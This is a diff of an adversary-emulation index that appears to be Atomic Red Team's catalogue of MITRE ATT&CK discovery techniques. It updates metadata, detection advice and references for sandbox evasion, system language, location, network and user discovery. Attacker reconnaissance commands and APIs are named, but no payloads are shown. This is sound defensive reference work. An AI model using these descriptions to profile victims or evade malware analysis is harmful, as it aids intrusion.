-        url: https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/
-        description: Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual
-          Machine. Retrieved April 17, 2019.
-      - url: https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/
-        description: Falcone, R., et al. (2018, September 04). OilRig Targets a Middle
-          Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September
-          24, 2018.
-        source_name: Unit 42 OilRig Sept 2018
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: discovery
-      modified: '2021-04-21T15:16:10.604Z'
-      created: '2020-03-06T20:57:37.959Z'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
       x_mitre_contributors:
       - Deloitte Threat Library Team
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Process: OS API Execution'
       x_mitre_detection: Virtualization/sandbox related system checks will likely
         occur in the first steps of an operation but may also occur throughout as
         an adversary learns the environment. Data and events should not be viewed
@@ -59060,13 +60740,24 @@ discovery:
         for suspicious processes being spawned that gather a variety of system information
         or perform other forms of Discovery, especially in a short period of time,
         may aid in detection.
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '2.0'
-      x_mitre_defense_bypassed:
-      - Static File Analysis
-      - Signature-based detection
-      - Host forensic analysis
-      - Anti-virus
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1497/001
+        external_id: T1497.001
+        source_name: mitre-attack
+      - url: https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc
+        description: Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved
+          May 18, 2021.
+        source_name: Deloitte Environment Awareness
+      - url: https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/
+        description: Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual
+          Machine. Retrieved April 17, 2019.
+        source_name: McAfee Virtual Jan 2017
+      - url: https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/
+        description: Falcone, R., et al. (2018, September 04). OilRig Targets a Middle
+          Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September
+          24, 2018.
+        source_name: Unit 42 OilRig Sept 2018
       identifier: T1497.001
     atomic_tests:
     - name: Detect Virtualization Environment (Linux)
@@ -59140,62 +60831,71 @@ discovery:
     technique:
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1082
-        url: https://attack.mitre.org/techniques/T1082
-      - external_id: CAPEC-312
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/312.html
-      - source_name: Amazon Describe Instance
-        url: https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html
-        description: Amazon. (n.d.). describe-instance-information. Retrieved March
-          3, 2020.
-      - source_name: Google Instances Resource
-        url: https://cloud.google.com/compute/docs/reference/rest/v1/instances
-        description: 'Google. (n.d.). Rest Resource: instance. Retrieved March 3,
-          2020.'
-      - description: Microsoft. (2019, March 1). Virtual Machines - Get. Retrieved
-          October 8, 2019.
-        url: https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get
-        source_name: Microsoft Virutal Machine API
-      description: |-
-        An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
-
-        Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. A breakdown of system data can also be gathered through the macOS <code>systemsetup</code> command, but it requires administrative privileges.
-
-        Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)
-      name: System Information Discovery
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: discovery
-      modified: '2021-03-08T10:33:01.066Z'
-      created: '2017-05-31T21:31:04.307Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_contributors:
-      - Praetorian
-      x_mitre_version: '2.2'
+      name: System Information Discovery
       x_mitre_data_sources:
       - 'Instance: Instance Metadata'
       - 'Process: Process Creation'
       - 'Command: Command Execution'
       - 'Process: OS API Execution'
+      x_mitre_version: '2.3'
+      modified: '2021-10-13T23:21:27.750Z'
+      created: '2017-05-31T21:31:04.307Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: discovery
+      id: attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1
+      x_mitre_platforms:
+      - Windows
+      - IaaS
+      - Linux
+      - macOS
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      description: |-
+        An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
+
+        Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the <code>systemsetup</code> configuration tool on macOS. As an example, adversaries with user-level access can execute the <code>df -aH</code> command to obtain currently mounted disks and associated freely available space. [System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)
+
+        Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)
+      x_mitre_contributors:
+      - Maril Vernon @shewhohacks
+      - Praetorian
       x_mitre_detection: |-
         System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.
 
         Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
 
         In cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations.
-      x_mitre_permissions_required:
-      - User
-      x_mitre_platforms:
-      - Windows
-      - IaaS
-      - Linux
-      - macOS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1082
+        external_id: T1082
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/312.html
+        external_id: CAPEC-312
+        source_name: capec
+      - url: https://www.sentinelone.com/blog/trail-osx-fairytale-adware-playing-malware/
+        description: Phile Stokes. (2018, September 20). On the Trail of OSX.FairyTale
+          | Adware Playing at Malware. Retrieved August 24, 2021.
+        source_name: OSX.FairyTale
+      - url: https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/
+        description: Phil Stokes. (2021, February 16). 20 Common Tools & Techniques
+          Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.
+        source_name: 20 macOS Common Tools and Techniques
+      - url: https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html
+        description: Amazon. (n.d.). describe-instance-information. Retrieved March
+          3, 2020.
+        source_name: Amazon Describe Instance
+      - url: https://cloud.google.com/compute/docs/reference/rest/v1/instances
+        description: 'Google. (n.d.). Rest Resource: instance. Retrieved March 3,
+          2020.'
+        source_name: Google Instances Resource
+      - source_name: Microsoft Virutal Machine API
+        description: Microsoft. (2019, March 1). Virtual Machines - Get. Retrieved
+          October 8, 2019.
+        url: https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get
       identifier: T1082
     atomic_tests:
     - name: System Information Discovery
@@ -59366,40 +61066,109 @@ discovery:
 
 '
         name: sh
-  T1614:
+  T1614.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1614
-        url: https://attack.mitre.org/techniques/T1614
-      - source_name: FBI Ragnar Locker 2020
-        url: https://assets.documentcloud.org/documents/20413525/fbi-flash-indicators-of-compromise-ragnar-locker-ransomware-11192020-bc.pdf
-        description: FBI. (2020, November 19). Indicators of Compromise Associated
-          with Ragnar Locker Ransomware. Retrieved April 1, 2021.
-      - source_name: Sophos Geolocation 2016
-        url: https://news.sophos.com/en-us/2016/05/03/location-based-ransomware-threat-research/
-        description: 'Wisniewski, C. (2016, May 3). Location-based threats: How cybercriminals
-          target you based on where you live. Retrieved April 1, 2021.'
-      - source_name: Bleepingcomputer RAT malware 2020
-        url: https://www.bleepingcomputer.com/news/security/new-rat-malware-gets-commands-via-discord-has-ransomware-feature/
-        description: Abrams, L. (2020, October 23). New RAT malware gets commands
-          via Discord, has ransomware feature. Retrieved April 1, 2021.
-      - source_name: AWS Instance Identity Documents
-        url: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-identity-documents.html
-        description: Amazon. (n.d.). Instance identity documents. Retrieved April
-          2, 2021.
-      - source_name: Microsoft Azure Instance Metadata 2021
-        url: https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=windows
-        description: Microsoft. (2021, February 21). Azure Instance Metadata Service
-          (Windows). Retrieved April 2, 2021.
-      - source_name: Securelist Trasparent Tribe 2020
-        url: https://securelist.com/transparent-tribe-part-1/98127/
-        description: 'Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis,
-          part 1. Retrieved April 1, 2021.'
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: System Language Discovery
+      x_mitre_data_sources:
+      - 'Windows Registry: Windows Registry Key Access'
+      - 'Process: Process Creation'
+      - 'Process: OS API Execution'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2021-10-15T22:00:56.174Z'
+      created: '2021-08-18T14:06:45.244Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: discovery
+      id: attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19
+      x_mitre_platforms:
+      - Windows
+      - Linux
+      - macOS
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      description: "Adversaries may attempt to gather information about the system
+        language of a victim in order to infer the geographical location of that host.
+        This information may be used to shape follow-on behaviors, including whether
+        the adversary infects the target and/or attempts specific actions. This decision
+        may be employed by malware developers and operators to reduce their risk of
+        attracting the attention of specific law enforcement agencies or prosecution/scrutiny
+        from other entities.(Citation: Malware System Language Check)\n\nThere are
+        various sources of data an adversary could use to infer system language, such
+        as system defaults and keyboard layouts. Specific checks will vary based on
+        the target and/or adversary, but may involve behaviors such as [Query Registry](https://attack.mitre.org/techniques/T1012)
+        and calls to [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation:
+        CrowdStrike Ryuk January 2019) \n\nFor example, on a Windows system adversaries
+        may attempt to infer the language of a system by querying the registry key
+        <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Nls\\Language</code>
+        or parsing the outputs of Windows API functions <code>GetUserDefaultUILanguage</code>,
+        <code>GetSystemDefaultUILanguage</code>, <code>GetKeyboardLayoutList</code>
+        and <code>GetUserDefaultLangID</code>.(Citation: Darkside Ransomware Cybereason)(Citation:
+        Securelist JSWorm)(Citation: SecureList SynAck Doppelgänging May 2018)\n\nOn
+        a macOS or Linux system, adversaries may query <code>locale</code> to retrieve
+        the value of the <code>$LANG</code> environment variable."
+      x_mitre_contributors:
+      - Harshal Tupsamudre, Qualys
+      x_mitre_detection: |-
+        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.
+
+        Monitor processes and command-line arguments for actions that could be taken to gather system language information. This may include calls to various API functions and interaction with system configuration settings such as the Windows Registry.
       created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1614/001
+        external_id: T1614.001
+        source_name: mitre-attack
+      - url: https://www.welivesecurity.com/2009/01/15/malware-trying-to-avoid-some-countries/
+        description: Pierre-Marc Bureau. (2009, January 15). Malware Trying to Avoid
+          Some Countries. Retrieved August 18, 2021.
+        source_name: Malware System Language Check
+      - url: https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/
+        description: 'Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another
+          Lucrative Targeted Ransomware. Retrieved May 12, 2020.'
+        source_name: CrowdStrike Ryuk January 2019
+      - url: https://www.cybereason.com/blog/cybereason-vs-darkside-ransomware
+        description: Cybereason Nocturnus. (2021, April 1). Cybereason vs. Darkside
+          Ransomware. Retrieved August 18, 2021.
+        source_name: Darkside Ransomware Cybereason
+      - url: https://securelist.com/evolution-of-jsworm-ransomware/102428/
+        description: Fedor Sinitsyn. (2021, May 25). Evolution of JSWorm Ransomware.
+          Retrieved August 18, 2021.
+        source_name: Securelist JSWorm
+      - url: https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/
+        description: Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses
+          the Doppelgänging technique. Retrieved May 22, 2018.
+        source_name: SecureList SynAck Doppelgänging May 2018
+    atomic_tests: []
+  T1614:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
       name: System Location Discovery
+      x_mitre_data_sources:
+      - 'Instance: Instance Metadata'
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Process: OS API Execution'
+      x_mitre_version: '1.0'
+      modified: '2021-10-15T22:00:56.438Z'
+      created: '2021-04-01T16:42:08.735Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: discovery
+      id: attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979
+      x_mitre_platforms:
+      - Windows
+      - Linux
+      - macOS
+      - IaaS
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
       description: |2-
 
         Adversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from [System Location Discovery](https://attack.mitre.org/techniques/T1614) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
@@ -59407,81 +61176,94 @@ discovery:
         Adversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings.(Citation: FBI Ragnar Locker 2020)(Citation: Sophos Geolocation 2016)(Citation: Bleepingcomputer RAT malware 2020) Windows API functions such as <code>GetLocaleInfoW</code> can also be used to determine the locale of the host.(Citation: FBI Ragnar Locker 2020) In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.(Citation: AWS Instance Identity Documents)(Citation: Microsoft Azure Instance Metadata 2021)
 
         Adversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.(Citation: Securelist Trasparent Tribe 2020)(Citation: Sophos Geolocation 2016)
-      id: attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: discovery
-      modified: '2021-04-20T19:25:49.977Z'
-      created: '2021-04-01T16:42:08.735Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: false
-      x_mitre_permissions_required:
-      - User
-      x_mitre_detection: |-
-        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.
-
-        Monitor processes and command-line arguments for actions that could be taken to gather system location information. Remote access tools with built-in features may interact directly with the Windows API, such as calling <code> GetLocaleInfoW</code> to gather information.(Citation: FBI Ragnar Locker 2020)
-
-        Monitor traffic flows to geo-location service provider sites, such as ip-api and ipinfo.
-      x_mitre_data_sources:
-      - 'Instance: Instance Metadata'
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Process: OS API Execution'
       x_mitre_contributors:
       - Pooja Natarajan, NEC Corporation India
       - Hiroki Nagahama, NEC Corporation
       - Manikantan Srinivasan, NEC Corporation India
       - Wes Hurd
       - Katie Nickels, Red Canary
-      x_mitre_platforms:
-      - Windows
-      - Linux
-      - macOS
-      - IaaS
+      x_mitre_detection: |-
+        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.
+
+        Monitor processes and command-line arguments for actions that could be taken to gather system location information. Remote access tools with built-in features may interact directly with the Windows API, such as calling <code> GetLocaleInfoW</code> to gather information.(Citation: FBI Ragnar Locker 2020)
+
+        Monitor traffic flows to geo-location service provider sites, such as ip-api and ipinfo.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1614
+        external_id: T1614
+        source_name: mitre-attack
+      - url: https://assets.documentcloud.org/documents/20413525/fbi-flash-indicators-of-compromise-ragnar-locker-ransomware-11192020-bc.pdf
+        description: FBI. (2020, November 19). Indicators of Compromise Associated
+          with Ragnar Locker Ransomware. Retrieved April 1, 2021.
+        source_name: FBI Ragnar Locker 2020
+      - url: https://news.sophos.com/en-us/2016/05/03/location-based-ransomware-threat-research/
+        description: 'Wisniewski, C. (2016, May 3). Location-based threats: How cybercriminals
+          target you based on where you live. Retrieved April 1, 2021.'
+        source_name: Sophos Geolocation 2016
+      - url: https://www.bleepingcomputer.com/news/security/new-rat-malware-gets-commands-via-discord-has-ransomware-feature/
+        description: Abrams, L. (2020, October 23). New RAT malware gets commands
+          via Discord, has ransomware feature. Retrieved April 1, 2021.
+        source_name: Bleepingcomputer RAT malware 2020
+      - url: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-identity-documents.html
+        description: Amazon. (n.d.). Instance identity documents. Retrieved April
+          2, 2021.
+        source_name: AWS Instance Identity Documents
+      - url: https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=windows
+        description: Microsoft. (2021, February 21). Azure Instance Metadata Service
+          (Windows). Retrieved April 2, 2021.
+        source_name: Microsoft Azure Instance Metadata 2021
+      - url: https://securelist.com/transparent-tribe-part-1/98127/
+        description: 'Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis,
+          part 1. Retrieved April 1, 2021.'
+        source_name: Securelist Trasparent Tribe 2020
     atomic_tests: []
   T1016:
     technique:
-      id: attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: System Network Configuration Discovery
-      description: |-
-        Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).
-
-        Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
-      external_references:
-      - source_name: mitre-attack
-        url: https://attack.mitre.org/techniques/T1016
-        external_id: T1016
-      - external_id: CAPEC-309
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/309.html
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: discovery
-      modified: '2021-04-24T13:13:49.594Z'
-      created: '2017-05-31T21:30:27.342Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_permissions_required:
-      - User
-      x_mitre_detection: |-
-        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
-
-        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
+      name: System Network Configuration Discovery
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'Script: Script Execution'
       - 'Command: Command Execution'
       - 'Process: OS API Execution'
-      x_mitre_version: '1.2'
+      x_mitre_version: '1.3'
+      modified: '2021-10-08T00:17:37.881Z'
+      created: '2017-05-31T21:30:27.342Z'
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0
+      description: "Adversaries may look for details about the network configuration
+        and settings, such as IP and/or MAC addresses, of systems they access or through
+        information discovery of remote systems. Several operating system administration
+        utilities exist that can be used to gather this information. Examples include
+        [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101),
+        [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).\n\nAdversaries
+        may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016)
+        during automated discovery to shape follow-on behaviors, including determining
+        certain access within the target network and what actions to do next. "
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: discovery
+      x_mitre_detection: |-
+        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
+
+        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1016
+        external_id: T1016
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/309.html
+        external_id: CAPEC-309
+        source_name: capec
       identifier: T1016
     atomic_tests:
     - name: System Network Configuration Discovery on Windows
@@ -59668,15 +61450,30 @@ discovery:
         elevation_required: true
   T1049:
     technique:
-      created: '2017-05-31T21:30:45.139Z'
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: System Network Connections Discovery
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Process: OS API Execution'
+      x_mitre_version: '2.2'
       modified: '2021-03-08T10:33:01.083Z'
+      created: '2017-05-31T21:30:45.139Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: discovery
-      type: attack-pattern
       id: attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: System Network Connections Discovery
+      x_mitre_platforms:
+      - Windows
+      - IaaS
+      - Linux
+      - macOS
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      - Administrator
       description: "Adversaries may attempt to get a listing of network connections
         to or from the compromised system they are currently accessing or from remote
         systems by querying for information over the network. \n\nAn adversary who
@@ -59694,43 +61491,28 @@ discovery:
         can be used to list current connections. <code>who -a</code> and <code>w</code>
         can be used to show which users are currently logged in, similar to \"net
         session\"."
-      external_references:
-      - source_name: mitre-attack
-        url: https://attack.mitre.org/techniques/T1049
-        external_id: T1049
-      - source_name: Amazon AWS VPC Guide
-        url: https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html
-        description: Amazon. (n.d.). What Is Amazon VPC?. Retrieved October 6, 2019.
-      - source_name: Microsoft Azure Virtual Network Overview
-        url: https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-overview
-        description: Annamalai, N., Casey, C., Almeida, M., et. al.. (2019, June 18).
-          What is Azure Virtual Network?. Retrieved October 6, 2019.
-      - source_name: Google VPC Overview
-        url: https://cloud.google.com/vpc/docs/vpc
-        description: Google. (2019, September 23). Virtual Private Cloud (VPC) network
-          overview. Retrieved October 6, 2019.
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      x_mitre_platforms:
-      - Windows
-      - IaaS
-      - Linux
-      - macOS
-      x_mitre_permissions_required:
-      - User
-      - Administrator
+      x_mitre_contributors:
+      - Praetorian
       x_mitre_detection: |-
         System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
 
         Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Process: OS API Execution'
-      x_mitre_version: '2.2'
-      x_mitre_contributors:
-      - Praetorian
-      x_mitre_is_subtechnique: false
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1049
+        external_id: T1049
+        source_name: mitre-attack
+      - url: https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html
+        description: Amazon. (n.d.). What Is Amazon VPC?. Retrieved October 6, 2019.
+        source_name: Amazon AWS VPC Guide
+      - url: https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-overview
+        description: Annamalai, N., Casey, C., Almeida, M., et. al.. (2019, June 18).
+          What is Azure Virtual Network?. Retrieved October 6, 2019.
+        source_name: Microsoft Azure Virtual Network Overview
+      - url: https://cloud.google.com/vpc/docs/vpc
+        description: Google. (2019, September 23). Virtual Private Cloud (VPC) network
+          overview. Retrieved October 6, 2019.
+        source_name: Google VPC Overview
       identifier: T1049
     atomic_tests:
     - name: System Network Connections Discovery
@@ -59830,44 +61612,44 @@ discovery:
           #{SharpView} $syntax -}
   T1033:
     technique:
-      created: '2017-05-31T21:30:35.733Z'
-      modified: '2020-03-15T01:03:47.866Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: discovery
       type: attack-pattern
-      id: attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      modified: '2021-08-12T13:34:34.153Z'
       name: System Owner/User Discovery
-      description: |-
-        Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
-
-        Utilities and commands that acquire this information include <code>whoami</code>. In Mac and Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>.
-      external_references:
-      - source_name: mitre-attack
-        url: https://attack.mitre.org/techniques/T1033
-        external_id: T1033
-      - external_id: CAPEC-577
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/577.html
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.3'
+      created: '2017-05-31T21:30:35.733Z'
+      x_mitre_permissions_required:
+      - User
+      - Administrator
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
-      x_mitre_permissions_required:
-      - User
-      - Administrator
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104
+      description: |-
+        Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
+
